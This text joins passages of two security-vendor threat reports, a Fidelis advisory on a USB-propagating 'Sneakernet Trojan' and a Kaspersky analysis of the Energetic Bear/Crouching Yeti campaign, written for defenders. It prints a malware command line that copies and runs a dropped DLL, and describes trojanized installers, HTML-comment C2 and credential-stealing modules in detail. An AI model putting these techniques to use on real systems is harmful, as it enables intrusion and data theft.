2014-01-31 Follow up 1 Threat Advisory 1011 Page 4 of 11 Intruder File Report: Sneakernet Trojan The following command file hex editor excerpt illustrates the command files obfuscation in a contrived instance: Offset 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 00000000 AA AA AA BE BA FE CA EF BE AD DE 0D F0 AD 0B ED 00000016 FE DE C0 10 00 BB 6D E4 40 60 34 CC 6A 0A B7 2A m4j 00000032 AA 43 C5 86 C6 10 00 FD 5B ED CE BE 6C D8 42 B4 C [lB 00000048 90 AE 36 31 5D 40 A3 10 00 C0 5E 8A 4C 0F 0C 72 61] L r 00000064 2E AA A2 28 20 16 20 0E 7A .
(
z Note: 1st Three Bytes Unknown utility, Next 16 bytes Encryption Key, Bytes 20 and 21 Command Data Size, Bytes 22-37 encrypted command data Command Data Before Encryption/After Decryption d81596a9 ferry 0 dir 5 Analysis efforts did not have access to command files retrieved from the victim systems for either the headquarters or the field unit applications.
However, using the malwares behavior and determining the command files format via reverse engineering afforded the ability to test numerous assumptions about the malwares intended use.
Analysis determined the command format was: drive identification followed by one or more command and parameter strings.
The following table reflects testing and theoretical contents of command files driving netsat.exe operation: www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
2014-01-31 Follow up 1 Threat Advisory 1011 Page 5 of 11 Intruder File Report: Sneakernet Trojan Test Commands One - Infection Attempt and Retrieval of Data Collection From a Remote System Command Description Outcome notmyser designates a volume serial number ferry 1 infect the just listed identified drive fails because notmyser does not match an attached drive d81596a9 designates a volume serial number this S/N is from actually attached drive getres collect data harvested from a targeted system success copies data from ext.drv\RECYCLED\RECYCLED\SYS to CSIDL_NETHOOD\Microsoft\Intel (Note: before copy checks if file exists in \Intel and determines file size - the implication is the possibility of updating previously retrieved files) 00 designates any connected drive 00 acts a wildcard for volume serial number dir 5 retrieve a directory listing did not execute because a volume serial number (d81596a9) was previously found Test Commands Two - Retrieve Directory Listing From Any Connected Drive and Attempt Data Collection Retrieval Command Description Outcome 00 designates any connected drive dir 5 retrieve a directory listing directory listing obtained from next connected drive d81596a9 designates a volume serial number this S/N is from actually attached drive getres collect data harvested from a targeted system did not execute www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
2014-01-31 Follow up 1 Threat Advisory 1011 Page 6 of 11 Intruder File Report: Sneakernet Trojan The Following Are Hypothetical Scenarios Designed to Illustrate Possible Employment Options Possible Commands One - Targeting Specific Devices (Known to Intruder From Previous netsat/netui3 Activity) Command Description sernum1 designates a volume serial number getres collect data harvested from a targeted system sernum2 designates a volume serial number ferry 1 infect this particular drive 00 designates any connected volume not listed above dir 4 retrieve a directory listing from the just connected drive, re: 00 Possible Commands Two - Maximizing Propagation (Theoretical) Command Description sernum1 designates a particular volume serial number cmd1 particular command cmd2 particular command sernum2 designates a particular volume serial number cmd3 particular command cmd4 particular command cmd5 particular command 00 designates any connected volume not listed above ferry 0 infect the just connected drive, re: 00 dir 5 retrieve a directory listing from the just connected drive, re: 00 Headquarters (netsat.exe) Functionality Log File The headquarters component (netsat.exe) logs certain events in a file located at CSIDL_MYPICTURES\wins.
Analysis indicates the log file is probably stored in the clear, i.e., the contents are not obfuscated.
Example log file contents are presented as follows: St 01/18/13 12:03:30 into d81596a9 ar 01/18/13 12:03:44 Total:30532M, Free:30387M www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
2014-01-31 Follow up 1 Threat Advisory 1011 Page 7 of 11 Intruder File Report: Sneakernet Trojan End copy : E:\RECYCLED\RECYCLED\SYS\file1.txt End copy : E:\RECYCLED\RECYCLED\SYS\interesting.txt Re on Fin The following strings, which are not all inclusive or exclusive, could be used to find log files, fragments or contents on devices and on a network: Format String Example/Explanation Total:I64dM, Free:I64dM Total:30532M, Free:30387M Get disk space error d error 3 add drive, n add drive, n 5 (5 represents E drive) u ser 08x ar s s 8 hex digits ar date time Cant open file s, error d ERROR Register notification Up ad dri, nDd ad dri, nD5 Cr Des\n Indicates failure to open desktop.ini for writing Cr De.i.
errd\n Specifies error code for failure to open desktop.ini for writing up s \n e:d\n Indicates failure to create the RECYLCED/RECYCLER directory.
Example: up E: newline e:3 Get Dir_c1 error Indicates failure to retrieve that CSIDL_WINDOWS path for building of the netwi.drv path during ferry command www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
2014-01-31 Follow up 1 Threat Advisory 1011 Page 8 of 11 Intruder File Report: Sneakernet Trojan Format String Example/Explanation cp cf e:d Indicates error copying netwi.drv to disk.ini.
c r\n Indicates error copying setup35.exe c tr\n c .inf, e:d Indicates error opening AutoRun.inf for binary write C c\n c .inf Indicates could not create AutoRun.inf c ser Indicates could not copy netu3.dll/setup35.exe Get volume path s Get disk memory Interesting Artifacts and Observations Previous and continuing analysis results indicated some interesting and/or relevant aspects of this malware: The malware tries to be quiet - error handling There was robust implementation intention across Windows versions The malware employs robust environment checking frustrating inadvertent execution and analysis The malware prevents multiple iterations of itself on individual systems The malware does not run on systems using Gateways assigned a particular internal net range (10.x.x.x) The malwares execution has an expiration date The malware purposely obfuscates and complicates C2 The malware injects complexity into C2 encryption operations obfuscating execution and frustrating/delaying analysis The malware uses obscure file system paths The malware author, ironically or purposely, named a collected data storage folder Intel www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
2014-01-31 Follow up 1 Threat Advisory 1011 Page 9 of 11 Intruder File Report: Sneakernet Trojan The following interesting questions/assumptions emerged from previous cursory analysis of this malware: C2 appears to be accomplished via providing commands in an encrypted file stored on the local master system (re: netsat.exe).
This C2 scheme would seem to dictate: o Intruder remote access to the master system o Intruder local access to the master system o a C2 delivery/retrieval component, such as another piece of code that downloads a C2 file Available information precludes determination of the means of exfiltration.
Netsat.exes data collection functionality suggested data destined for exfiltration might be collected by the master system.
This possibility suggests: o Intruder remote access to the master system o Intruder local access to the master system o An exfiltration mechanism in the form of another piece of code Further analysis confirms the malwares use of an encrypted file stored on the system whereon the malware is executing without an apparent means of automatic generation.
This continues to suggest that intruders either have local or remote access to headquarters systems running netsat.exe or access to another application that automates remote C2 data/file retrieval.
Intruders apparent ability to distinguish between particular field unit vehicles (infected drives), ref: Possible Commands One - Targeting Specific Devices (Known to Intruder From Previous netsat/netui3 Activity) from Hypothetical command table, suggests active engagement with the malware and targets.
Conclusion This report is based on information extracted from reverse engineering and analysis of two PE files.
There are other components and artifacts of this malware that are currently inaccessible to Fidelis analysts.
Therefore, analysts extrapolated some of the behavior presented here.
While analysts are confident about behaviors described to date, there could certainly be additional behaviors and nuances heretofore unseen.
Analysis of this malware continues to suggest that a sophisticated effort was behind its creation and employment.
Actors went to great lengths to make the malware efficient and effective while building in obfuscation and complexity.
Interesting artifacts and observations continue to be discovered and made, such as the malwares apparent expiration, the interesting naming convention for a directory to hold collected data, and the actors apparent intention to avoid certain networks or network addressing schemes.
www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
2014-01-31 Follow up 1 Threat Advisory 1011 Page 10 of 11 Intruder File Report: Sneakernet Trojan Analysis continues and any relevant additional information will be reported as soon as practicable.
Appendix 1 Commands (for reference purposes) The following commands and their descriptions, listed by executable file, illustrate the submitted malwares functionality: netsat.exe Command Description cpd copies directories and contents cpr copies files with size checking der deletes files and records activity in log dir obtains a directory listing ferry writes malicious files to a hidden RECYCLED or RECYCLER directory Files: setup35.exe (renamed netui3.dll), Autorun.inf, disk.ini (renamed netwi.drv), act.te getres iteratively copies files from RECYCLED/RECYCLER directory on target drive, deletes from source after copy - source is assumed to be drive used to collect data from one or more systems netui3.dll (setup35.exe) Command Description cp copies files from one location to another cpu copies files from one location to another setting copied files as hidden cptur creates a directory and copies file to that directory ddr silently deletes directory (performs an FO_DELETE shell file operation on a directory with the FOF_NOERRORUI, FOF_NOCONFIRMATION, and FOF_SILENT flags set) del deletes a file delu deletes a file after setting attributes to normal gd recursively writes and reads encoded data to/from a directory gdir prints directory listings to FF323D.tmp data gets encoded original FF323D.tmp file is deleted gf writes and reads encoded data to/from a file www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
2014-01-31 Follow up 1 Threat Advisory 1011 Page 11 of 11 Intruder File Report: Sneakernet Trojan netui3.dll (setup35.exe) Command Description gfover determines if it has access to a file may be a temp file creation/rename involved gi collects system related and possibly network related information such as, domains, system information ndr creates a directory newend closes a file that was opened for writing newstar sets normal attributes on a targeted file, deletes the file, opens the same file name as a binary file wr writes a string to a new file opened by the newstar command.
runb try to run a targeted executable and then checks for the existence of that file every second for the next 15 minutes as long as it exists rune try to run a targeted executable one time slf generates a targeted file listing, e.g., dir, then copies the files in the list one by one srf copies files in a list one by one srmf uses NetUseAdd to connect to ipc share of a target host, creates a listing of files in the c - z shares of the target host, copies the files to a new location, deletes the share connection added using NetuseAdd Note: rows highlighted in grey denote a best guess on functionality more analysis needed
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Energetic Bear Crouching Yeti Global Research and Analysis Team July 2014 Version 1.0 2 TLP: Green 1.
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Energetic Bear Crouching Yeti Global Research and Analysis Team July 2014 Version 1.0 2 TLP: Green 1.
Executive Summary Energetic Bear/Crouching Yeti is an actor involved in several advanced persistent threat (APT) campaigns that have been active going back to at least the end of 2010.
Targeted sectors include: Industrial/machinery Manufacturing Pharmaceutical Construction Education Information technology Most of the victims we identified fall into the industrial / machinery building sector, indicating this is of special interest.
To infect the victims, the attackers rely on three methods: Spearphishing using PDF documents embedded with a flash exploit (CVE-2011-0611) Trojanized software installers Waterhole attacks using a variety of re-used exploits During the attacks, the Crouching Yeti uses several malware / Trojans, which exclusively infect Windows systems: Havex Trojan Sysmain Trojan The ClientX backdoor Karagany backdoor and related stealers Lateral movement and second stage tools For command and control, these connect to a large network of hacked websites.
These sites host malware modules, victim information and issue commands to infected systems.
The dozens of known Yeti exploit sites and their referrer sites were legitimate, compromised sites.
They ran vulnerable content management systems or vulnerable web applications.
None of the exploits used to compromise the servers were known to be zero-day.
None of the client side exploits re-used from the open source metasploit framework were zero-day.
Overall, we observed about 2,800 victims worldwide, the most prevalent attack tool being the Havex Trojan.
3 TLP: Green We believe this group is highly determined and focused on a very specific industrial sector of vital interest.
It uses a variety of ways to infect its victims and exfiltrate strategic information.
The analyzed data seems to suggest the following points: It is not currently possible to determine the Country of origin The attackers global focus is much broader than power producers Their toolset has remained stable over time Managed, minimal, methodical approach to sustained operation Appropriate use of encryption (symmetric key protected with attackers public key for encrypted log file exfiltration) This report provides technical details on how they perform their operations.
4 TLP: Green Table of contents 1.
Executive Summary ..................................................................................................................... 2 2.
Analysis ...................................................................................................................................... 5 2.1.
Delivery ................................................................................................................................ 5 2.2.
Malware ............................................................................................................................. 12 2.2.1 The Havex Loader ........................................................................................................... 12 2.2.2 The Ddex Loader ............................................................................................................ 16 2.2.3 The Sysmain backdoor .................................................................................................... 16 2.2.4 The ClientX backdoor ...................................................................................................... 17 2.2.5 The Karagany Backdoor .................................................................................................. 18 2.3.
CC servers and victims ....................................................................................................... 20 2.3.1.
Victims ......................................................................................................................... 24 2.3.2.
Victims-CC relationship ............................................................................................... 32 3.
Attribution ................................................................................................................................ 33 3.1.
Non-specific Data ............................................................................................................. 33 3.2.
Exploit server activity ....................................................................................................... 36 3.3.
Victim characteristics and categories ................................................................................. 36 4.
Conclusions ............................................................................................................................... 37 Contact information For any inquire please contact mailto:intelreportskaspersky.com mailto:intelreportskaspersky.com 5 TLP: Green 2.
Analysis This section analyzes all the aspects we could find about how this actor performs its campaigns.
The Crouching Yeti actor performed a massive surveillance operation targeting strategic victims, many of them in the industrial/manufacturing sector.
There were different ways of delivering of its malware including waterholing, spearphishing and adding malware to legitimate installers.
Once the victims were infected, Crouching Yeti selected different RATs for its operations.
These RATs communicated with Command and Control servers on compromised servers around the world, using a simple PHP backend.
We were able to identify several victims, including high-profile ones and dozens of domains used in the campaign.
2.1.
Delivery As far as we know the group behind Crouching Yeti delivers its malware using at least three different methods.
1.
Legitimate software installers The first method uses a legitimate software installer repackaged to contain the malicious DLL.
Such modified self-extracting archives could have been uploaded directly to a compromised server, replacing the original file, or sent to the victim by email.
One example of this method was a hijacked SwissRanger camera driver (libMesaSR version 1.0.14.706) that was used to drop the Sysmain backdoor to: APPDATA\sydmain.dll and set the Run registry value to load malicious DLL upon next system startup.
6 TLP: Green Figure 1.
MESA Camera description In a similar manner, as early as January 2014, Havex version 038 appears to have been dropped by a legitimate 40MB software installer from the eWon web site: hxxp://www.ewon.biz/software/eCatcher/eCatcherSetup.exe eWon is a Belgian producer of SCADA and industrial network equipment, which helps define this attack method as a watering hole attack: Breaking the barrier between industrial applications and IT standards, the mission of eWON is to connect industrial machines securely to the Internet, enabling easy remote access and gathering all types of technical data originating from industrial machines...Connecting machines across the Internet is our mission.
Sometimes, the Havex loader was dropped from eCatcherSetup_v4.exe, so it seems that the site operators may have removed a previous file and the attackers replaced it with their trojanized installer, and so on.
Likely, the attackers gained access to eWons ftp site and replaced the legitimate file with one that is bound with the Havex dropper several times.
7 TLP: Green Figure 2.
eWon website screenshot Another example that involves a hijacked application from a PLC-related vendor is a Trojanized mbCHECK installer which replaced the original legitimate version freely downloadable from the vendors website.
The legitimate version can be downloaded for free from the vendors website.
The vendor - MB Connect Line - is a company which specializes in software for remote maintenance of PLC systems: MB Connect Line GmbH(hxxp://www.mbconnectline.com/index.php/en/).
8 TLP: Green Figure 3.
MB Connect Line website In this case, the dropped DLL was Havex version 043.
2.
Malicious XDP file spear-phishing The second method relies on a malicious XDP file containing the PDF/SWF exploit (CVE-2011- 0611) and was most probably used in spear-phishing attacks.
This exploit drops the Havex loader DLL, which is stored in an encrypted form in the XDP file.
The exploit is delivered as an XDP file (XML Data Package) which is actually a PDF file packaged within an XML container.
This is a known the PDF obfuscation method and serves as an additional anti-detection layer.
The XDP file contains an SWF exploit and two files (encrypted with XOR) stored in the invalid section of the PDF.
One of the files is Havex DLL (version 038), the other is a small JAR file which is used to copy and run the DLL by executing the following command: cmd /c copy fname_passed_as_param TEMP\\explore.dll /y rundll32.exe TEMP\\explore.dll,RunDllEntry 9 TLP: Green SWF executes the action script, which contains another SWF file which in turn uses the CVE- 2011-0611 vulnerability to run the shellcode.
The shellcode then looks for a specific signature in the memory (which signs the start of encrypted DLL), decrypts and loads it.
3.
Malicious JAR/Html files waterholing Finally, this actor actively compromises legitimate websites for watering hole attacks.
These hacked websites in turn redirect to malicious JAR or html files hosted on other sites maintained by the group (exploiting CVE-2013-2465, CVE-2013-1347, and CVE-2012-1723 in Java 6, Java 7, IE 7 and IE 8), which then drop the Havex loader, the Karagany backdoor and helper tools.
These sites run an exploit kit known as LightsOut.
It appears that the LightsOut exploit kit is exclusively used by Energetic Bear/Crouching Yeti.
From the dozens of Yeti exploit sites we reviewed, the malicious code was nothing more than slightly modified metasploit java exploits delivering the Havex loader.
Some sort of internal review must have pushed them towards the LightsOut EK.
KSN data records help provide a list of Crouching Yeti related exploit delivery from dozens of these sites.
In earlier cases (July 2013), successful Java exploitation served from nahoonservices.com would cascade into more Yeti components planted on victim systems.
The java exploit downloaded Karagany backdoors, which in turn downloaded stealers from 91.203.6.71: 10 TLP: Green Figure 4.
Infection diagram Ksn data recorded at least 20 victim sites that were compromised and injected with Yeti iframes, redirecting hundreds of visitors to compromised Yeti exploit sites.
Most of these redirector sites were owned by western and Eastern European power players, investors, legal advisors and advocates, and European and US industrial IT equipment makers.
The compromised sites hosting the LightsOut Exploit Kit were fairly trafficked, legitimate sites.
Their content varies widely, from California winemakers to Cuban travel agencies and Iranian general interest/religious inspiration sites.
11 TLP: Green Finally, other second stage tools were simply retrieved by the downloaders over http from various servers.
Some of these Yeti sites, like kinoporno.org, served both Havex and these tools.
KSN events recorded the sites serving Windows Credential Editor and custom credential and document stealing tools.
12 TLP: Green 2.2.
Malware The Crouching Yeti group has different tools of choice for their operations.
This section describes them from a technical perspective.
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2.2.1 The Havex Loader 1.
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2.2.1 The Havex Loader 1.
Description The main functionality of this component is to download and load additional DLL modules into the memory.
These are stored on compromised websites that act as CC servers.
In order to do that, the malware injects itself into the EXPLORER.EXE process, sends a GET/POST request to the PHP script on the compromised website, then reads the HTML document returned by the script, looking for a base64 encrypted data between the two havex strings in the comment tag --havexhavex-- and writes this data it to a TEMP\tmp.xmd file (filename is generated by GetTempFilename function).
In the meantime, another routine is constantly checking the TEMP folder for all .xmd files.
For each file it finds, it decompresses the content, decrypts (if encrypted) and loads into the memory as the DLL.
In order to run on each system boot, malware copies itself to: path\TMPprovider0XX.dll and creates the autorun registry key.
All samples of this component contain a statically linked bzip2 library.
Versions 01B also contain an RSAeuro library, used to encrypt log files and decrypt downloadable modules.
Public keys for encryption are hardcoded in the binary and/or stored in the configuration section.
In some cases, these keys are written to the registry values.
In total, we identified 124 different samples of Havex loaders, belonging to 27 different versions.
As of June 2014, the latest version number we have is 044.
2.
CC communication The URL addresses of the CC servers (which are indeed compromised websites) are either hardcoded in the binary, or - in versions 038 - specified in the configuration section inside the ICT resource.
This resource is compressed with bzip2 and encrypted with XOR.
There are usually 2-4 URLs per binary, different for each malware version and sometimes also different between samples of the same version.
13 TLP: Green Malware sends a GET request (versions 017) or POST request to the first available URL.
The request contents depends on the malware version and it may include such information as unique bot id, malware version number, OS version number, and some other data from configuration, as well as the harvested information logged into the .yls file (if any).
Then the malware searches the HTML code of each returned page for havex markers and saves the data between the markers into a temporary file.
3.
Downloadable modules - common characteristics These modules are hosted between the havex markers in the HTML code of compromised websites.
The module code is usually XORed with 1312312 then compressed with BZIP2 and finally base64 encoded.
Once downloaded into the TEMP\.xmd file by the main Havex DLL, the code is decoded, decompressed, saved into the temporary DLL file and loaded into the memory.
The modules perform a variety of different actions, including collecting information about the victims system and other machines in the local network, harvesting passwords, listing documents, etc.
In order to do that, some of the modules make use of additional 3rd stage 3rd party executables.
Each module contains configuration information stored in an encrypted and compressed form inside a resource.
Configuration data includes 29-byte UID (unique ID), a 1024-bit RSA Public key (base64 encoded) and other necessary info (like file paths, etc.
).
All harvested data is compressed, encrypted and written into the TEMP\.yls files, which are then sent to the CC by the main Havex/Sysmain module.
The yls files are encrypted with the 3DES crypto algorithm using a random 192-bit key (168 bit effective).
The 3DES key is encrypted using the public RSA 1024 key and therefore never transferred in plain text to attackers.
In-depth analysis of the cryptography used by log files is presented in Appendix 2 4.
List of known modules OPC scanner This module is designed to collect detailed data about the OPC servers running in the local network and save them to a TEMP\rand.yls file.
To query the OPC servers, it uses the following interfaces: IID_IOPCEnumGUID IID_IOPCServerList 14 TLP: Green IID_IOPCServerList2 IID_IOPCServer IID_IOPCBrowsr IID_IOPCBrowseServerAddressSpace IID_IOPCItemProperties CATID_OPCDAServer10 CATID_OPCDAServer20 CATID_OPCDAServer30 Sysinfo module This module collects basic information about the system its running on, and saves it to the TEMP\rand.yls file.
Harvested data includes: Unique system ID OS version Username Computer name Country Language Current IP List of drives Default Browser Running Processes Proxy Setting User Agent Email Name BIOS version and date Lists of files and folders (non-recursive) from Desktop, My Documents and Program Files folders and root directories on all drives.
Contact stealer module This module collects contact details stored in all outlook.nk2 files and writes them to the TEMP\rand.yls file.
Outlook.nk2 is the file where Outlook (version since 2007) keeps contact details in order to use them with the AutoComplete feature.
Password stealer module This module uses the embedded BrowserPasswordDecryptor 2.0 tool (hxxp://securityxploded.com/browser-password-decryptor.php) to dump login credentials stored by the password managers of various browsers.
Decrypted passwords are saved into the TEMP\tmp1237.txt file, which is then copied by the parent module into an encrypted .tmp.yls file.
15 TLP: Green List of browsers supported by the tool (from the products website): Firefox Internet Explorer Google Chrome Google Chrome Canary/SXS CoolNovo Browser Opera Browser Apple Safari Comodo Dragon Browser SeaMonkey Browser SRWare Iron Browser Flock Browser Network scanner module This module is designed to scan the local network and look for all hosts listening on ports related to OPC/SCADA software.
Information about these hosts is then saved to the TEMP\tracedscn.yls file.
Port number Software that uses this port port 44818 Rslinx port 502 Modbus port 102 Siemens PLC port 11234 Measuresoft ScadaPro port 12401 7-Technologies IGSS SCADA In-depth analysis of the Havex loader and its related modules is presented in Appendix 2.
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16 TLP: Green 2.2.2 The Ddex Loader 1.
Description This component is a simple downloader with a functionality similar to the Havex component.
It sends requests to the PHP script at the CC (compromised website) and looks for specific data in the returned HTML code.
It writes the data (some ASCII strings) from between I6/I6 tags to the file in TEMP\Low\task.tmp and the data (binary data XORed with 0x0A) from between B6/B6 tags into the TEMP\Low\ldXXXX.TMP file.
Then it decrypts the ldXXXX.TMP file and loads it into memory.
Based on the compilation times, we may assume that this loader was used to download and run modules before it was replaced by Havex.
The Ddex loader is analyzed in more detail in Appendix 4.
2.2.3 The Sysmain backdoor 1.
Description This malware can be described as a classical RAT (Remote Access Trojan), since it gives the attacker a wide range of opportunities to control and interact with the victim machine.
The autonomous part of Sysmain installs and registers itself to be persistent in the system.
Then it gathers general information about the victim system, like User- and computer names Locale information Network- and drive status Default browsers Running processes File listing from the user profile directory.
When ready, this data is submitted to one of the CC-servers.
After that, it checks periodically for new commands from CC (pulling via HTTP).
17 TLP: Green With a set of 11 commands, the malware is able to: Execute shell-commands Launch additional executables or libraries (sent by the attacker) Collect arbitrary files for later exfiltration Examine the victims file system.
There are also commands used for maintenance purposes.
Among others, there are commands to change the pubkey for CC-communication or delete its traces in the registry.
2.
CC communication It receives its commands from one of four static command-and-control servers.
Every variant of this malware has its own set of servers.
As usual, the attackers are using webservers - most likely compromised ones - as part of their CC-infrastructure.
To communicate with the CC-server, the Trojan makes use of asymmetric encryption with a hardcoded pair of private and public keys.
Another public key is used to encrypt files, which are collected in a local dropzone on the victims file system.
The files in that dropzone will be submitted to the attacker later, all in one go.
Appendix 3 provides in-depth analysis of the Sysmain backdoor.
2.2.4 The ClientX backdoor 1.
Description This component is written in .NET and is very similar to The Sysmain backdoor.
The settings of the RAT are stored in the registry as BASE64 encoded values.
The RAT gets its commands by sending a request to a PHP script on the CC (compromised server) as usual, and looks for specific data in the returned HTML code.
The data in this case is stored between the havexhavex tags, it is then decrypted and decoded (base64).
The RAT supports 13 commands including: Screen capture Trojan Update Loading DLLs 18 TLP: Green Starting executables Running shell commands Listing directories Each time a command (task) is executed, the result of that command is stored in the registry under a subkey named done or doneEXT.
The results (which are called answers by the authors) are then POSTED to the CC server.
The ClientX backdoor is analyzed in depth in Appendix 5.
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20 TLP: Green File matching patterns: pass.
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20 TLP: Green File matching patterns: pass.
.rtf .xls .pdf secret.
.pst .doc .vmdk .pgp .p12 .mdb .tc 2.3.
CC servers and victims The Command and Control Servers are compromised legitimate websites, like Blogs, from different countries.
In total we have identified 219 unique domain names for these CC servers hosted in 21 different countries.
We found most hosted CCs in the United States (81 servers), Germany (33 servers), the Russian Federation (19 servers) and the United Kingdom (7 servers).
Figure 5.
CC country distribution The table below shows the distribution of victims affected by the samples identified according to our KSN data.
21 TLP: Green Victims infected with samples from any of the Crouching Yeti groups malware were found in: 50 47 30 29 22 15 14 14 13 13 12 12 12 10 9 7 6 6 6 5 5 4 4 3 3 3 3 3 3 2 2 2 2 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 10 20 30 40 50 60 Spain Germany Azerbaijan India Italy Iraq Qatar Anonymous Proxy Argentina Taiwan Vietnam Brazil China Malaysia United Kingdom Ecuador Korea, Republic of Bangladesh Colombia Czech Republic Hong Kong Iran, Islamic Republic of Mexico Netherlands Antilles South Africa Switzerland Tajikistan 22 TLP: Green 65 of these CC servers, in the following countries, were monitored during our investigation.
Figure 6.
Monitored CC servers country distribution This monitoring enabled us to get a list of the victims connected to them.
1.
CC backend The CC Backend is written in PHP, consisting of 3 files: log.php is a Web-Shell, used for file level operations.
testlog.php is not a PHP-script but it contains the CC Server logfile of Backdoor- connections.
Please see source.php below for further information.
source.php The Backdoors interact with source.php, which is the control script.
These are its functions on execution: 23 TLP: Green 1.
Collect the following information: Information Syntax/content Used (written to log) Timestamp day-month-year hour: minute- second Yes IP-address checks and returns a valid IP- address from HTTP-Request (HTTP_CLIENT_IP, HTTP_X_FORWARDED, HTTP_X_FORWARDED_FOR, REMOTE_ADDR) Yes Host reverse lookup of IP-address (gethostbyaddr) No Proxy Proxy-IP-address if Bot connected through Proxy No UserAgent UserAgent from HTTP-Request Yes Request-URI string of URI requested by Bot Yes BotID BotID transferred with HTTP- request Yes 2.
Write the above information to testlog.php, separated by Tabulator and base64- encoded, with the following syntax: timestamp\tvictim ip-address\tproxy\tbotID\trequest-uri\tuseragent 3.
Write all transferred HTTP-GET Variables to botID.log, separated by Tabulator and base64-encoded.
4.
If the bot executes an HTTP-POST-request, the transferred data is written to the file botID.ans, enclosed in xdata-Tag with timestamp.
(
ans is the acronym for Answer).
5.
Check for any botID_.txt files a.
If found the first step is to append the timestamp, filename and a sent Status indicated to botID.log.
Then the file content is transferred to the bot, embedded into HTML with the HTML-Body No data and the HTML-Comment 24 TLP: Green havex, which contains the data to be transferred.
Finally the file on the server is removed.
If this removal fails it is logged to botID.log.
b.
If no matching file is found, an HTML-Response is sent with an empty havex HTML-Comment and HTML-Body text Sorry, no data corresponding to your request.
2.3.1.
Victims The term victim in this section refers to a botID (unique String of the Backdoor), connecting to one or more CC Servers.
Based on the 45 CC Servers wemonitored, a total of 2,811 unique Victims were discovered.
The average number of victims per CC is 70: Figure 7.
Number of victims (Y) per CC server instance (X) The following chart depicts the first (red line) and last (blue line) appearance of each victim on the CC.
The FirstHit shows how the rate of accumulating new victims has accelerated over the course of 2014.
LastHit shows how the last connection of victims to CC servers also increases over time.
This could mean victims are disinfecting their computers, or it may be that they simply report to a different CC server that we do not monitor.
25 TLP: Green Figure 8.
Evolution of FirstSeen and LastSeen victims Mapping the unique hits of victims per day also indicates a decrease of active infections.
The following chart clearly shows a difference between weekdays (groups of five higher bars) and weekends (two lower bars).
The daily unique hit-rate fell by about half from around 800 connections at the beginning of 2014 to around 400 connections per week-day by the middle of the year: Figure 9.
Unique victims per day reporting to CCs More than half of the victims always connect from the same IP address.
Fewer than half of the victims connect from two or more different IP addresses as the following graph shows.
26 TLP: Green Figure 10.
Number of different IPs per victim This might indicate that some of the victims are behind proxies, which makes sense for corporate environments.
Victims using many different IP addresses may indicate laptops.
The following chart visualizes all the unique victims connecting to CC servers.
The main CC Servers can be clearly seen in Russia and the USA.
The victims are distributed across 99 different countries.
27 TLP: Green Figure 11.
Connection between victims and CC From the total of 2,811 victims, it was possible to accurately identify 106 of them.
Appendix 8 contains a brief description about the sector/company in which these victims operate.
The table below summarizes the distribution of the identified victims by sector.
Sector Number of victim organizations Educational 32 Research 14 Mechanical Engineering 10 Information Technology 10 Construction 9 Government 8 Health 5 Network Infrastructure 3 28 TLP: Green Pharmaceutical 2 Electrical Engineering 2 Packaging 2 Financial 2 Energy 2 Cleaning 1 Automotive 1 Structural Engineering 1 Transportation 1 Chemical 1 1.
Havex Victims Based on our monitoring, the most widespread Backdoor is Havex with a total of 2,470 infected systems, mostly based in USA and Spain: Figure 12.
Havex victims per country 29 TLP: Green 32 different versions of Havex are used among all victims, with 51 victims left without any identifiable Havex version.
Havex Version 024, compiled at the end of 2012, is the most widespread.
Figure 13.
Havex version distribution Besides the Havex version, the OS Version of the victim computer is also communicated to the CC server.
The most common Operating System among victims is Windows XP, but Windows 8.1 is also on the list.
30 TLP: Green Figure 14.
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Unexpective error Was found i hosts in LAN: Hosts wast found.
There are also three interesting strings inside the Karagany backdoor: identifiant (which is French for identifier), fichier (French for file) and liteliteliteskot (lite scot is Swedish for little sheet) Timestamp details Timestamp analysis is based on a total of 154 collected binaries: 124 Havex loader samples (versions 01 - 044) 7 downloaded modules 7 Sysmain backdoor samples 4 Ddex loader samples 1 ClientX backdoor sample 4 Karagany Trojan samples 2 downloaded modules 3 samples of Trojanized installers 34 TLP: Green Highlights: The earliest samples related to this campaign are the Ddex loader binaries with compilation timestamps between October and November 2010.
The first Havex loader samples, version 01 and version 02, have compilation timestamps from 28th September 2011.
The latest known samples are Havex loader version 044, compiled on 7th May 2014, and all OPC modules compiled in April and May 2014.
Most samples were compiled on weekdays, although there are a couple of samples with the compilation timestamp from a Saturday.
Most samples were compiled between 6:00 and 16:00 UTC with a peak between 6:00 and 8:00 UTC.
Earliest compilation time: 02:15:23 UTC (Wed, 28 Sep 2011) Latest time: 23:39:34 UTC (Thu, 02 Jun 2011) Activity / Year (all samples): Figure 18.
Activity per year on different components 35 TLP: Green Activity / Weekdays based on compilation time: Figure 19.
Activity per weekday distribution Activity / Hours (UTC) based on compilation time: Figure 20.
Activity per hour distribution 36 TLP: Green 3.2.
Exploit server activity All the exploit servers delivered slightly modified ripped content from open source repositories.
All the servers appear to be hacked servers.
According to the available data, no zero-day exploits were used in any of these attacks, either to compromise the servers in the first place, or delivered as client side attack exploits by the Lights Out Exploit Kit.
While this purely malicious re-use of metasploit PoC highlights the danger that these attack tools pose, it is also unusual to see an exclusively metasploit attack toolset effectively used in this way, delivered from what appear to be a chain of higher value compromised sites.
All of these compromised web applications were vulnerable to freely available offensive security tools.
We acknowledge that many of the compromised referrer servers were related to power producers in some way.
However, these targets almost seem an afterthought, as the exploit servers themselves were compromised web servers from Cuban travel agency sites, a Californian winery site, a US based womens fashion site, an Iranian general interest/religious inspiration site, a number of dating and adult content websites, and a variety of others.
Although, we note that the known Trojanized software packages were ICS/SCADA related as well, possibly because those victim sets or environments required special attention.
